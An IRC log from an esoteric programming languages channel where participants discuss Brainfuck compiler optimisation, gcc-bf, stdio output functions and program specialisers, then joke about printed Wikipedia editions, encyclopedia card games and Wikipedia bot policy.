20:23:53 <ais523> the tree /is/ the state
20:24:05 <AnMaster> ais523, a bit hard to do across long stretches of code
20:26:40 <ais523> you just have a generic (lots of code that doesn't mention X or move the IP)
20:26:40 <AnMaster> ais523, you suggest I write a DSL then?
20:26:40 <ais523> if it would help to abbreviate lots of repetitive code, yes
20:26:40 <ais523> I wrote OIL because I realised dekludge.c was forming a pattern, and generating it automatically would avoid mistakes
20:26:40 <ais523> and speed and ease editing
20:27:48 <AnMaster> ais523, my passes aren't really forming a pattern though, except what can be described in three lines of code: return new parse tree at end of list (either end of loop/if/whatever, or end of program, no need to make a difference, except in one of the passes), recurse into the body of the blocks.
20:28:04 <ais523> then you're doing it wrong, piling special-case on special-case
20:28:07 <AnMaster> two passes, the shifter and the combiner operate on two instructions at a time.
20:29:20 <AnMaster> otherwise most handle one at a time
20:29:20 <AnMaster> ais523, writing a new pass isn't a lot of work for the basic bit. I do have some generic information about stuff functions
20:29:20 <AnMaster> like "is a loop", "is io" and so on
20:29:39 <AnMaster> so I don't even need to care if it is input or output, just "does this clobber anything?"
20:30:07 <AnMaster> ais523, also I'm dropping some special cases, like "set from", since the polynomial code handles that now.
20:31:04 <AnMaster> ais523, doesn't gcc has quite a few special cases iirc. Or maybe I misremember
20:31:17 <AnMaster> not saying gcc is a good compiler
20:31:33 <ais523> gcc more has absent cases
20:31:56 <ais523> if something doesn't turn up in most of the architectures it targets, the code for it in core generally just doesn't work
20:31:58 <AnMaster> ais523, ah, you mean it doesn't properly handle stuff thus producing bad code?
20:32:06 <ais523> and all the processors that need it have their own workarounds
20:32:26 <AnMaster> why not file patches to fix it
20:33:08 <AnMaster> ais523, you, or others who work on such cpus
20:33:17 <AnMaster> I guess other uncommon ones could hit such code too
20:33:19 <ais523> because I'd then have to take the trouble to work out how it all worked
20:33:30 <AnMaster> ais523, what about filing bugs then?
20:34:13 <ais523> you'd need to invent a fictional architecture
20:34:48 <AnMaster> ais523, anyway if I do find some copy of gcc-bf source, where would I find the idioms. I think I might have your first public version on another computer (which isn't easy to reach atm...)
20:35:05 <AnMaster> it probably was one only generating asm, and no bf
20:35:10 <ais523> AnMaster: the ABI for them would be in the .md file
20:35:18 <ais523> and the translation of ABI to BF is in bf-ld
20:35:30 <AnMaster> ais523, I think that one was from before bf-ld was working
20:35:41 <ais523> it still isn't working
20:35:46 <ais523> as in, some ABI just isn't translated
20:35:53 <AnMaster> ais523, I saw that hello world you gave me
20:36:21 -!- ehird has left (?).
20:36:28 <AnMaster> ais523, anyway back then I think there was no bf-ld at all
20:36:35 <ais523> and even what is written is mostly untested
20:36:51 -!- ehird has joined.
20:36:53 -!- ehird has changed nick to ehird_.
20:36:59 <ehird_> nooga: you want complex control flow
20:37:02 -!- ehird_ has changed nick to ehird.
20:37:15 <AnMaster> ais523, would be useful to know the tested idioms though, stuff you know work and which might be useful to optimise better.
20:38:15 <AnMaster> otherwise I'm going to continue to try to make mandelbrot.b, LostKng.b, life.b as good as possible instead. Because IMO the output from gcc-bf is just too hard to handle
20:38:15 <ais523> I'm not sure I know if any of it works
20:38:16 <ehird> 02:12 pikhq: Hahah. I just discovered a partial evaluator for Tcl.
20:38:29 <AnMaster> ais523, you know that hello world works I assume?
20:38:30 <ais523> addition sort-of works, but I'm not yet sure if it does carries correctly
20:38:35 <AnMaster> not that I'm able to compile it.
20:38:40 <ais523> for all I know that pointer didn't cross a 256-byte boundary
20:39:37 <AnMaster> ais523, gcc OOMs generally. Using a ulimit of 1 GB. Anything more and I end up swap trashing badly
20:40:23 <AnMaster> ais523, I guess I could try clang. But the computer with it on has 512 MB RAM and is a pentium3. So maybe when I have time to build it on here instead.
20:40:23 <pikhq> ehird: http://wiki.tcl.tk/14514
20:40:38 <pikhq> Incredibly unuseful.
20:40:41 <ehird> 13:33 AnMaster: [.>] would be "output nul-terminated string" wouldn't it? Assuming current cell is known to be non-zero. Otherwise same but in a "if".
20:40:42 <ehird> 13:33 AnMaster: that could possibly be optimised somehow...
20:40:46 <ais523> what about splitting the output program into several files?
20:40:51 <pikhq> ... Doesn't even do the first projection usefully.
20:40:51 <ehird> the incredibly difficult print(tape)
20:41:12 <ais523> you'd have to move the pointer to the end of that bit, though
20:41:13 <AnMaster> ehird, one issue. You need to do strlen() to figure out where the pointer ends up after
20:41:19 <ehird> 13:45 ais523: incidentally, Europeans here, have you remembered to vote in the elections?
20:41:24 <ehird> bit of a problem there
20:41:25 <ais523> ehird: you weren't here
20:41:53 <ais523> did you nonetheless go to the ballot station and complain about not being given a ballot paper?
20:41:56 <AnMaster> ais523, however, I suspect optimising gcc-bf output just isn't worth it in general. It generates too bloated output for it to currently be a useful high level language to write BF programs in. Even BFBASIC managed better.
20:42:11 <ais523> AnMaster: it's not designed for writing BF
20:42:13 <ehird> 14:12 AnMaster: is clang better for C code yet?
20:42:15 <ais523> but to compile C programs to BF
20:42:19 <ehird> it can optimize an array into variables for instance
20:43:04 <ehird> 20:39 ais523: not even with -O0?
20:43:04 <ehird> 20:39 ais523: I'm disappointed
20:43:05 <AnMaster> ais523, hm. Not sure who would use it?
20:43:07 <ehird> his computer sucks badly
20:43:21 <ais523> ehird: it's probably better than mine
20:43:29 <ehird> 20:41 AnMaster: ehird, one issue. You need to do strlen() to figure out where the pointer ends up after
20:43:39 <ehird> just put print() or w/es source
20:43:43 <ehird> and use the tape directly
20:43:47 <ehird> 20:41 ais523: did you nonetheless go to the ballot station and complain about not being given a ballot paper?
20:43:50 <AnMaster> ehird, what are you talking about
20:43:53 <ehird> i'm pretty sure I don't want other 13-year-olds voting
20:43:55 <ais523> ehird: you have to move the pointer, because that's what [.>] does
20:44:00 <ais523> in addition to doing output
20:44:06 <ais523> but for style points, just use the return value of printf
20:44:09 <ehird> 20:43 AnMaster: ais523, hm. Not sure who would use it?
20:44:12 <ehird> nobody, it's for fun...
20:44:17 <AnMaster> ais523, thanks for explaining that simple statement to ehird.
20:44:23 <ehird> AnMaster: i know what the fuck it meant
20:44:24 <ais523> admittedly, that's a bad idea for other reasons
20:44:29 <ehird> 20:43 ehird: just put print() or w/es source
20:44:29 <ehird> 20:43 ehird: and use the tape directly
20:44:34 <AnMaster> ehird, then why say something so stupid
20:44:34 <ehird> that's exactly what ais523's would do
20:44:38 <ehird> .... what the fuck did I say?
20:44:54 <ehird> i replied to your comment simply then ais523 restated it and you hail him in a passive-agressive complaint at me?
20:44:57 <ais523> ehird: [.>] is int temp = printf("%s",tape); tape += temp;
20:44:57 <ehird> what the hell did I say that was stupid?
20:45:03 <ehird> ais523: i know that, i'm not an idiot
20:45:09 <ehird> i was talking about avoiding printf overhead
20:45:11 <ais523> AnMaster thinks you missed the tape += temp at the end
20:45:23 <AnMaster> ehird, I can't see where he mentioned it
20:45:25 <ehird> any print function will advance a local variable pointer for that
20:45:30 <ehird> so if you put the print source directly in the program
20:45:33 <ehird> it'll advance the tape pointer
20:45:41 <ehird> maybe you're the stupid one, for not understanding that?
20:45:50 <AnMaster> ehird, So what would "w/es" mean
20:45:59 <ehird> print() or whatevers
20:46:09 <ais523> actually, fputs is probably the right command here
20:46:11 <ehird> as in print() was a hypothetical fputs(stdout,...)
20:46:13 <ais523> not puts, because it adds a newline
20:46:15 <ehird> ais523: right, I just forgot which way fputs was
20:46:35 <AnMaster> puts() and fputs() return a non-negative number on success, or EOF on error.
20:46:56 <ehird> AnMaster: moron (hey, I can insult people who don't understand too). i said UNROLL THE SOURCE OF THAT INTO THE CODE
20:47:01 <ehird> AT ONE POINT IT WILL DO "PTR += BUFSIZE"
20:47:06 <ehird> SO IF YOU S/PTR/TAPEPOINTER/
20:47:11 <ehird> AND UNROLL THE CODE INTO THE GENERATED PRORGAM
20:47:15 <ehird> IT AVOIDS STRLEN()
20:47:16 <ehird> AND STILL ADVANCES
20:48:07 <AnMaster> ehird, except unrolling the source of it would be mostly pointless. Since the point of using such a call in the first place was to avoid system call overhead of repeated putchar.
20:48:16 <ehird> ..................
20:48:26 <ehird> what the fuck do you think fputs does? outputs multiple chunks
20:48:38 <AnMaster> ehird, it outputs it in chunks yes.
20:48:44 <ehird> ........................
20:48:45 <ais523> actually, I think it blits into the stdio buffer
20:48:49 <ais523> and flushes if necessary
20:48:50 <ehird> AnMaster: and then advances the pointer ithas
20:49:06 <ais523> there's no syscall involved at all if the output isn't flushed after it IIRC
20:49:10 <ehird> ais523: can you explain it to him plz? kthx
20:49:19 <AnMaster> ais523, anyway. Then it isn't much different from: while(p[0]) { putchar(p[0]); p++; }
20:49:25 <ais523> well, even without inlining, you can exploit the return value of fputs
20:49:26 <AnMaster> so there is no point in optimising it
20:49:30 <ehird> AnMaster: ... of course it is
20:49:36 <ehird> do you know how stdio works at all
20:49:42 <ehird> go read your fpust source
20:49:47 <AnMaster> ehird, no. because putchar also blits into said buffer iirc
20:49:52 <ais523> ehird: actually, the putchar version and fputs version could be optimised into the same thing by a decent compiler
20:49:58 <ehird> ais523: of which gcc is not one
20:50:02 <ais523> they both translate to a block memcpy, with a bit of bookkeeping
20:50:21 <ais523> I know gcc tries to optimise that, I don't know how good at it it is, though
20:50:40 <AnMaster> ais523, you can't since it is undefined what the return value means for fputs. Except that it is "non negative on success".
20:50:45 <AnMaster> Doesn't say it will be the length
20:50:56 <ais523> it's definitely the length for printf
20:50:57 <AnMaster> <AnMaster> puts() and fputs() return a non-negative number on success, or EOF on error.
20:51:20 <ehird> pikhq: that peval is ridiculously broken
20:51:31 <ehird> http://wiki.tcl.tk/14514
20:51:54 <ais523> nah, I can't be bothered
20:52:02 <ais523> and I haven't been to sleep for 24 hours now, come to think of it
20:52:02 <pikhq> ehird: It's a quick hack. ;)
20:52:08 <ehird> ais523: then I won't bother linking in future
20:52:18 <ehird> as I am not everyone's personal web/backlog searcher.
20:52:45 <nooga> complex flow control?
20:53:29 <ais523> ehird: it's more that the channel-jumping took me by surprise
20:53:32 <ehird> so that the specializer knows more about how the program flows
20:53:40 <ais523> if it's referencing something in another channel, no surprise I didn't get it
20:53:41 <ehird> ais523: i didn't jump channel
20:53:44 <ehird> it was in this channel
20:53:45 <AnMaster> nooga, complex flow control WHERE?
20:53:52 <ehird> AnMaster: read backlog
20:53:54 <ais523> I assumed you were linking to the logs of another channel
20:53:58 * ehird assigns a hotkey to "read backlog"
20:53:58 <AnMaster> ehird, what specific part of it
20:53:59 <ais523> based on saying "read backlog" and giving a link
20:54:10 <ehird> AnMaster: don't you have a search feature?
20:54:41 <AnMaster> ehird, not easily atm. Since I recently reconnected to bouncer. I'm having hardware problems. So I keep having to restart stuff.
20:54:48 <ehird> load tunes.org, Ctrl-F.
20:55:03 <ehird> AnMaster: then don't complain to people
20:55:13 <nooga> ehird: can't imagine how to design something more complex than loops, ifs and functions
20:55:28 <ehird> nooga: write the SADOL interpreter, and look at any control flow patterns or verbosity
20:55:32 <ehird> invent constructs to shorten them
20:59:25 <AnMaster> nooga, I think ehird means like if you see something like "if (a == 1) ... else if (a == 2) ... else if (a == 4) ... else if (a = 7) ..." you might suddenly get a bright idea and invent "switch (a) { case 1: ... case 2: ... case 4: ... case 7 ... }" instead.
20:59:34 <AnMaster> But I'm not sure. Considering how cryptic ehird can be
20:59:40 <ehird> 20:55 ehird: nooga: write the SADOL interpreter, and look at any control flow patterns or verbosity
20:59:41 <ehird> 20:55 ehird: invent constructs to shorten them
20:59:43 <ehird> that's not cryptic at all
20:59:49 <ehird> that's perfectly normal english, what do you want me to do, use Basic English?
20:59:59 <nooga> but switch is harder to specialize?
21:00:08 <oerjan> i was going to say that
21:00:13 <AnMaster> ehird, in general. I consider all you say to potentially mean something else. Even if I don't see anything strange in it.
21:00:20 <ais523> and I guessed you were going to say "I was going to say that"
21:00:21 <AnMaster> it seems to be the best solution for you
21:00:31 <ais523> if I'd been quick enough, I'd have said "I was going to say that" first
21:00:36 <ais523> so as to steal your next response too
21:00:37 <ehird> 20:59 nooga: but switch is harder to specialize?
21:00:48 <ehird> nooga: stop thinking about a specializer; just give it the richest structures you can
21:00:49 <ais523> then your "I was going to say that" would be a correct description of my "I was going to say that"
21:01:07 <oerjan> ais523: you wicked, wicked man
21:03:15 <AnMaster> why is writing specialisers so popular suddenly. I mean the concept isn't exactly new. Yet it seems to have been mentioned a lot more in here recently than before...
21:05:23 <ehird> AnMaster: Yesterday I mentioned it to nooga for SADOL.
21:05:29 <ehird> Then pikhq picked up on it and started working on it.
21:05:41 <AnMaster> ehird, I first saw it in here about a week before that
21:05:47 <AnMaster> think you mentioned it too then
21:06:31 <AnMaster> when I mentioned superoptimisers used to generate better peep hole optimisers.
21:06:49 <AnMaster> ehird, aha! it is all your "fault" ;P
21:14:18 -!- nooga_ has joined.
21:19:20 -!- nooga has quit (Read error: 110 (Connection timed out)).
21:20:30 -!- comex has quit (Remote closed the connection).
21:21:06 <ehird> nooga_: just do what i said
21:21:12 <ehird> write sadol interp, see patterns in control structures
21:21:35 -!- poiuy_qwert has joined.
21:21:55 <nooga_> sadol interpreter, basically is an recursive function iwth switch inside
21:26:06 -!- nooga_ has changed nick to nooga.
21:26:33 -!- ais523_ has joined.
21:27:08 -!- ais523 has quit (Dead socket).
21:27:41 <ais523_> wow, I don't think I've had /that/ quit reason before
21:27:42 -!- ais523_ has changed nick to ais523.
21:28:30 <ais523> that is the right command
21:29:04 <nooga> FFFFFFFFFFFFFUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
21:29:22 <nooga> EgoBot is dead, what now? what sadistic plague comes up with now?!
21:30:35 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
21:31:21 <EgoBot> Score for ais523_suicide: 0.0
21:32:51 <EgoBot> userinterps: Users can add interpreters written in any of the languages in !help languages. See !help addinterp, delinterp, show | !userinterps. List interpreters added with !addinterp.
21:33:30 <EgoBot> sadol :M$0 :d:i,45000@>i-01(2]M0:i-i1:S$0:C;3:l#C-01:p:m0@<pl(2?=#Cp"1+:#Mm%+#Mm1,3255?=#Cp"1-:#Mm?<-#Mm10,3254-#Mm1?=#Cp"1>:m%+m1d?=#Cp"1<:m?<-m10-s1-m1?=#Cp"1.!'2#Mm?=#Cp"1,:#Mm'1;0?=#Cp"1[]S-p1?=#Cp"1]?=#Mm00:p[S0:p+p1
21:33:33 -!- Slereah has joined.
21:34:10 <EgoBot> That is not a user interpreter!
21:35:09 <nooga> my new lang will be called lax
21:35:57 <ehird> nooga: the sadol-interp one?
21:37:05 <nooga> rather, something like less cryptic sadol
21:37:22 <ehird> nooga: but used for the sadol compilerterp?
21:37:28 -!- inurinternet has quit (No route to host).
21:38:16 <nooga> i plan to enable some tricks that will enable extending core language with ease
21:39:13 <ehird> nooga: that will ruin your specializer hopes
21:39:29 <nooga> so, real custom operators, ability to define constructs that are indistinguishable from i.e. if or while for user
21:39:58 <ehird> yep, bad for a specializer
21:42:00 <nooga> def unless [c t] if not c t nil
21:44:03 <nooga> !sadol ~u2?-0#_0#_10 :a1 !u=a02
21:44:31 <nooga> !sadol ~u2?-1#_0#_10 :a1 !u=a02
21:44:58 <nooga> !sadol ~u2?-1#_0#_10 :a1 !u=a12
21:45:09 <nooga> !sadol ~u2?-1#_0#_10 :a1 !u=a1!2
21:48:04 -!- Slereah_ has quit (Read error: 110 (Connection timed out)).
21:49:11 <nooga> ehird: you seem to know the topic
21:49:26 <nooga> ehird: why don't you write own specializer
21:49:34 <ehird> 'cuz it's not practical :)
22:02:04 <AnMaster> nooga, evil isn't he. Since he didn't tell you this? And now really night.
22:05:07 <ehird> err, I told him there's no really good specializers
22:05:14 <ehird> what you mean is you didn't erad
22:08:36 -!- BeholdMyGlory has quit (Remote closed the connection).
22:09:26 <ehird> ais523: the decss language thing, remember?
22:09:41 <ehird> on the 2nd, but I'm allowed to be forgetful
22:09:42 <ais523> what was the gist of the reply
22:09:45 <ais523> also, what did you ask?
22:10:21 <ehird> ais523: subject: "The DeCSS language - I promise not to sue you :-)"; body is my interpreter, i realised after hitting send that it contained my (facetious but not recognizable as so without #esoteric channel context) "# Fuck you, Dave Touretzky." comment
22:10:29 <ehird> [[Oh no! Now I'm a copyright criminal for sure!!!!
22:10:29 <ehird> <Sob> How could you?
22:10:35 <ehird> either he didn't notice, or I was lucky ;)
22:11:03 <ais523> presumably he was joking in the reply
22:11:18 <ehird> here I was, ruining his life.
22:11:42 <ais523> ehird: I am only marginally better than AnMaster at detecting sarcasm
22:11:48 <ais523> so it helps to be really obvious
22:12:01 <ehird> ais523: four exclamation points
22:12:02 <nooga> ehird: i guess that handwriting optimized optimizing compiler is more practical
22:12:12 <ehird> nooga: but who wants practical
22:12:21 <nooga> but of crs, specializer migh be much more fun and challenging
22:12:21 <ais523> ehird: ah, I never see people use that many exclamation marks even when joking
22:12:27 <ais523> so I'm not entirely wure what it means
22:12:46 <FireFly> I just closed the tab containing your code, just when you spoke about it, ehird
22:12:55 <oerjan> ais523: don't be stupid!!!!!!!!
22:13:18 <ehird> FireFly: It's synchronicity because oerjan spoke next; just ask him about his ... 1994? incident!
22:13:28 <nooga> isnt lax a salmon?
22:13:53 <ehird> nooga: lax is what snowlax does
22:14:11 <ehird> ais523: i've seen people use up to 10 !s seriously
22:14:18 <ehird> oerjan: tell FireFly
22:14:30 <ais523> there must be some esolang with ! as a common character
22:14:40 <ais523> actually, I think I've used nine !s in a row in Underload before
22:14:42 <oerjan> ais523: no way!!!!!!!!!!!!
22:14:49 <ais523> but I didn't intend that to be parsable in English
22:14:57 <ehird> http://upload.wikimedia.org/wikipedia/commons/a/ae/SunOS_4.1.1_P1270750.jpg
22:15:08 <ehird> AnMaster's favourite storage mechanism
22:16:01 <nooga> usa - where universities produce commercial software
22:16:23 <ehird> nooga: i don't think that's just usa
22:16:23 <ais523> over here in the UK, they produce commercial hardware
22:16:25 <pikhq> nooga: Where universities are businesses.
22:16:42 <pikhq> Seriously, we have to pay through the nose.
22:17:36 <ehird> ais523: i want a full oxford dictionary
22:17:44 <ehird> with which to be pedantic in internet grammar/spelling arguments
22:17:59 <ehird> pikhq: i know, that's the fun
22:18:11 <ehird> also I want a full Britannica, and a full Wikipedia
22:18:23 <nooga> the thing is that i don't really know english
22:18:28 <pikhq> Unless you want it on dead tree.
22:19:48 <ehird> pikhq: pic on reddit of a printed WP: just the featured articles
22:19:58 <ehird> <reddit search> no results
22:20:09 <ehird> It truly transcends shittiness, that search.
22:20:45 <ehird> pikhq: http://www.rob-matthews.com/files/gimgs/5_wikipedia-1.jpg
22:20:51 <ehird> WP featured articles, in (iirc) 9pt
22:20:59 <ehird> now, make it all articles, and split into big volumes
22:21:02 <ehird> also, add pictures
22:21:08 <ehird> ais523: (you might like that)
22:21:38 <ehird> ais523: it's a photo of a book
22:21:46 <ehird> a very, very gigantic book
22:21:53 <ais523> I thought it was a very, very gigantic image
22:21:57 <ais523> which would have been even funnier
22:22:03 <ehird> ais523: but it's a real book!
22:22:06 <ehird> that's totally awesome.
22:22:35 <pikhq> http://www.rob-matthews.com/files/gimgs/5_wikipedia-2.jpg :)
22:22:47 <ehird> if it was in volumes, it'd be usable
22:22:51 <FireFly> A bit hard to carry around
22:22:54 <ehird> if it was in volumes and had all articles, it'd be gigantic
22:22:57 <ehird> BUT TOTALLY AWESOME.
22:23:00 <ehird> just like britannica & oed
22:23:07 <ais523> considerably bigger, I imagine
22:23:15 <FireFly> You'd need a dedicated library
22:23:15 <ehird> probably take several large bookshelves
22:23:16 <ais523> britannica took up two shelves of our library
22:23:22 <ehird> ais523: IIRC, it would be 380ft
22:23:25 <ais523> I wouldn't imagine Wikipedia fitting in the entire library
22:23:34 <ais523> (school library, that is)
22:23:39 <ais523> it would fit in the university library without trouble
22:23:43 <ehird> and, I mean, you could do that with several large bookshelves
22:23:47 <ehird> doesn't need a library
22:23:54 <ehird> oh, and the best bit?
22:24:12 <ehird> "George W. Bush is gay[citation needed] a former President of the United States of America."
22:24:27 <ehird> In serifed text, on good proper dead tree, with leather bindings and whatnot.
22:24:39 <ehird> it should come with two copies
22:24:44 <ehird> on the spare one, write your addition
22:24:50 <ehird> and send to the wikipedia offices
22:24:54 <ehird> where they will transcribe and save your change
22:25:03 <ehird> and you can buy update sets
22:25:10 <ehird> where you cut out existing pages and paste the new ones to the spine
22:25:18 <ehird> it'd be like pokemon, but not
22:25:22 <FireFly> Maybe some clipping feature?
22:25:28 <ais523> actually, it was suggested that printed copies of Wikipedia subsets should come with postcards on which you can send editing suggestions
22:25:32 <ehird> there is totally a market for this
22:25:45 <ais523> ehird: collectible trading card encyclopedias?
22:25:55 <ais523> actually, IIRC a newspaper did that a while back
22:26:04 <ehird> "I have the rare one with the big penis on the front page, it was only in print for 15 seconds"
22:26:06 <pikhq> I seem to recall there being efforts to make a printed Wikipedia.
22:26:07 <ais523> each of which contained a random subset of a children's encyclopedia
22:26:18 <ehird> yes, the press would update in real time
22:26:33 <ais523> ehird: how many copies would they sell, though?
22:26:41 <ais523> ah, maybe they can use amazon's new print-on-demand thing
22:26:41 <ehird> ais523: oh, you know, 3.
22:26:49 <ais523> they're setting up a service where they print books as they're ordered
22:26:49 <ehird> also, does that have old yellowy paper?
22:26:52 <ehird> with leather bindings?
22:26:59 <ais523> probably not, unfortunately
22:27:00 <ehird> ais523: aww, but then you'd have to order it at the tiem
22:27:03 <ais523> but you might sell more that way
22:27:03 <pikhq> ais523: Have set up.
22:27:05 <FireFly> "Can I have that one on Befunge? I collect esolangs. You can have this rubbish history article for that befunge."
22:27:07 <ehird> I'm imagining a bunch of pages flying by every second
22:27:27 <ehird> FireFly: when articles get deleted, they'd become super-rare
22:27:32 <ehird> this could totally work.
22:27:45 <ais523> it won't really catch on unless you invent a complex card game to play with them
22:27:46 <FireFly> As soon as you get your card, delete the article
22:27:56 <pikhq> ais523: Turing-complete.
22:28:04 <ehird> ais523: using real-world facts?
22:28:16 <ais523> they're in abundance in Wikipedia
22:28:19 <ehird> "I play [[Rabbit]]. It poops."
22:28:22 <ais523> actually, Wikipedia top trumps might be an interesting game
22:28:28 <ais523> where you make up categories on the fly
22:28:30 <FireFly> ehird, do you have the poop spell card?
22:28:31 <ehird> "I play [[Haskell]]. It gives you a type error"
22:28:44 <ehird> "Poop wins against type errors!"
22:29:08 <FireFly> You'd need [[poop]], and [[Rabbit]] may only use [[poop]] if has a link in its article?
22:29:19 <ehird> FireFly: that's great
22:29:24 <ehird> you could have N-degrees
22:29:34 <ehird> if you can get from [[Rabbit]] to [[nuclear war]] in 3 clicks, you can use it
22:29:39 <ehird> ais523: [[The original authors of the Wikipedia entries will not receive any of this money, but they are acknowledged on the last 30 pages of the book, which lists the handles of all the authors in the most miniscule font possible]]
22:29:44 <ehird> this could be quite an issue
22:29:52 <ehird> you couldn't legally separate them from the volumes, either
22:30:19 <pikhq> ehird: Give it a few months.
22:30:25 <pikhq> Wikipedia's going to be CC soon.
22:30:36 <ehird> pikhq: still have to attribute
22:30:37 <FireFly> N-degrees reminds me of wikirace
22:30:45 <ais523> you could just attribute on the cards
22:30:49 <ais523> to make it more fun, on the back of the cards
22:30:57 <ais523> so you can try to deduce what the article's about by who wrote it
22:31:10 <ehird> "In that time there ruled an opinion that a man shouldn’t lift up more than 3 kg."
22:31:16 <ehird> that's pretty light...
22:31:30 <ehird> ais523: how can you tie in the card game with the ye olde encyclopediae, though?
22:31:40 <FireFly> What does a regular laptop weight?
22:31:41 <pikhq> ehird: I think Americans pick up more soda than that at a time, usually. :p
22:31:56 <ais523> ehird: link structure sounds like a good idea
22:32:27 <ehird> this could be played online, actually
22:32:32 <ehird> ais523: but how do you deal with abilities?
22:32:41 <FireFly> To do N-degree actions, you'd of course need to have all the cards on your hand, so that you can play them all the way there
22:32:43 <ehird> i mean, nuclear war vs photography
22:32:46 <ehird> how do you decide which wins
22:33:03 <ais523> I imagine nuclear war beats most things
22:33:10 <ais523> but if you were going top-trumps style
22:33:19 <ais523> you'd just invent your own category's
22:33:28 <ais523> "how explosive is yours?"
22:33:33 <ais523> "well, mine's more explosive"
22:33:38 <ehird> ais523: that's not really much of a game
22:33:45 <ehird> I'm thinkin' D&D size rulebooks here
22:33:55 <FireFly> I'm actually tempted to convert that to our earthen weight now
22:34:13 <FireFly> ehird, wikipedia sized rulebooks!
22:34:19 <ehird> 22:31 FireFly: What does a regular laptop weight?
22:34:26 <FireFly> And then make a meta-game from that rulebook
22:34:52 <FireFly> I'll stick to my SI units :P
22:34:54 <ais523> obviously, the rulebook also has to be editable in real time, and collectible
22:34:57 <ais523> which I suppose would make it a nomic
22:35:03 <ehird> ais523: massively collaborative nomic
22:35:13 <ehird> FireFly: about 2-3kg
22:35:18 <ehird> netbooks are about 1-1.5kg
22:35:27 <ehird> FireFly: the ideal weight of a laptop is 1kg
22:35:38 <ehird> because really, netbooks are what a laptop should be; otherwise you just want a luggable computer
22:35:39 <ehird> FireFly: of course
22:35:40 <FireFly> In both weight and processor power :P
22:35:43 <ais523> why? how do you know it isn't 890g
22:35:47 <ehird> but 1kg is imperceptible to carry around
22:35:51 <ehird> ais523: give or take
22:36:01 <ehird> also, 10"-12" is about the right size for it
22:36:15 <pikhq> ehird: D&D-sized rulebooks? T3h lame.
22:36:23 <pikhq> I'm thinking encyclopedia volume-sized rulebooks.
22:36:27 <ehird> pikhq: more substantial than "whichever is better"
22:36:36 <ehird> also, we should enlist Agora to help write it
22:36:39 <ehird> they can inflate the language
22:36:40 <FireFly> Rulebooks of what beats what?
22:36:41 <ais523> clearly, this should be the most notable game in the world
22:36:50 <ais523> sufficiently notable, in fact, that it takes up half of Wikipedia
22:36:55 <ais523> then we could have some sort of weird infinite loop
22:37:04 <ehird> ais523: you're thinking of pokemon
22:37:12 <ais523> but those articles were merged
22:37:17 <ais523> on the basis that they were mostly identical
22:37:17 <ehird> ais523: yeah, that made me sad
22:37:24 <ehird> they were only merged 'cuz people thought it was biased
22:37:27 <ehird> but they were good articles!
22:37:36 <ais523> yes, they were mostly identical good articles though
22:37:48 <FireFly> But clearly, [[Tea]] beats [[Coffee]]
22:37:57 <ais523> imagine if every BF equivalent was explained exactly the same way as BF, but with the commands changed
22:38:10 <ais523> you'd have loads of good articles there which were mostly identical
22:38:26 <FireFly> Maybe categories could be used to identify the type of ability?
22:38:27 <pikhq> ais523: Note that there's a number of automatically generated articles on Wikipedia.
22:38:44 <ehird> "It was around this time that J. R. R. Tolkien was employed by the OED, researching etymologies of the Waggle to Warlock range"
22:38:48 <ehird> I love how that's a substantial range
22:38:52 <ais523> but the idea was to add stubs to persuade people to edit them
22:38:56 <FireFly> Is [[Weapon of mass destruction]] in a subcategory of Category:Weapons? Then it's probably pretty strong
22:39:07 <pikhq> ehird: *Germanic* etymologies specifically.
22:39:08 <FireFly> Of course, one would still have to compare the strengh somehow
22:39:22 <ais523> number of references, obviously
22:39:25 <ehird> ais523: I asked in #wikipedia a while back for some work to do. I was told to clean up rambot articles because it made scrappy articles with too many useless digits on numbers, etc. I pointed out that this could be automated and got the IRC equivalent of blank stares.
22:39:26 -!- poiuy_qwert has quit.
22:39:35 <ehird> Bloody mechanical gnomes.
22:39:46 <ais523> it's the sort of thing gnomes enjoy doing
22:39:56 <ais523> there's a wikignome mentality which I don't really understand
22:40:01 <ais523> they must have thought you were one looking for work
22:40:07 -!- tombom has quit ("Peace and Protection 4.22.2").
22:40:18 <ais523> (Bot523 on Wikipedia eventually stopped working because a) humans kept beating it to it, and b) I forgot to run it)
22:40:29 <ais523> also, it only ran in IE
22:40:29 <ehird> i was asking for work that actually helped people :P
22:40:43 <ais523> ehird: you're missing the point
22:40:51 <ais523> why couldn't you apply AWB general fixes to 100000 articles?
22:41:02 <ais523> even when they made no difference to them?
22:41:05 <ehird> incidentally, Wikipedia went downhill around the point they deleted Willy's article
22:41:18 <ehird> ais523: i hate automated wiki browsers with a passion
22:41:20 <ehird> they're so generic and rubbish
22:41:22 <ais523> (nowadays there's consensus that AWB general fixes can only be used if you do something else to the article as well)
22:42:01 <ehird> I'd run my own specialized scripts to do some useful edits on WP, but people would ban me for BOTTING OMG
22:42:27 <ais523> running bots is legal, you just have to get them approved
22:42:33 <FireFly> What happened to the wikigame? :(
22:42:35 <ais523> only that became ridiculously political for no apparent reason
22:42:47 <ehird> which is a painful process; what's the difference, ais523, between doing work tediously and manually
22:42:52 <ais523> oh, probably betacommand was the reason, and it all spiralled from there
22:42:54 <ehird> vs getting it done fixed and errorless with a script?
22:43:01 <ehird> the latter is a lot better, that's what
22:43:16 <ais523> ehird: because of the number of people who think it would be great to own a bot and write rubbish scripts that produce a lot of damage in a short space of time
22:43:18 <FireFly> Or, rather, the discussion about it
22:43:26 <ehird> ais523: why can't that be handled like any bad user?
22:43:34 <ehird> FireFly: we can't think of how to do it
22:43:40 <ais523> ehird: because admins don't like spending the time to clear up after the bots by hand
22:43:50 <ais523> and there's always a row whenever someone tries to clear up automatically
22:44:02 <ehird> ais523: gah, wikipedia is so annoying
22:44:03 <ais523> because they might revert good edits
22:44:17 <FireFly> Categories builds up an hierarchy, could maybe be used?
22:44:29 <ehird> FireFly: yeah, but the basic thing is that we can't go annotating every article ever
22:44:32 <ais523> (a fast bot which is 90% correct is really damaging, for instance, but also you don't want to mass-revert it)
22:44:49 <ais523> also, bot perms can be used to DOS the server
22:44:55 <ais523> well, more effectively than user perms can, anyway
22:44:59 <ais523> because bots are allowed to go faster
22:45:05 <ais523> so you're supposed to use common sense when writing a bot
22:45:11 <ehird> WP's server and software setup seems to suck.
22:45:19 <ais523> ehird: it strikes me as typical PHP
22:45:23 <ais523> which is not really a good thing
22:45:42 <ehird> they should let me administrate their servers
22:45:46 <ehird> i'd only break them 1-2 times a day
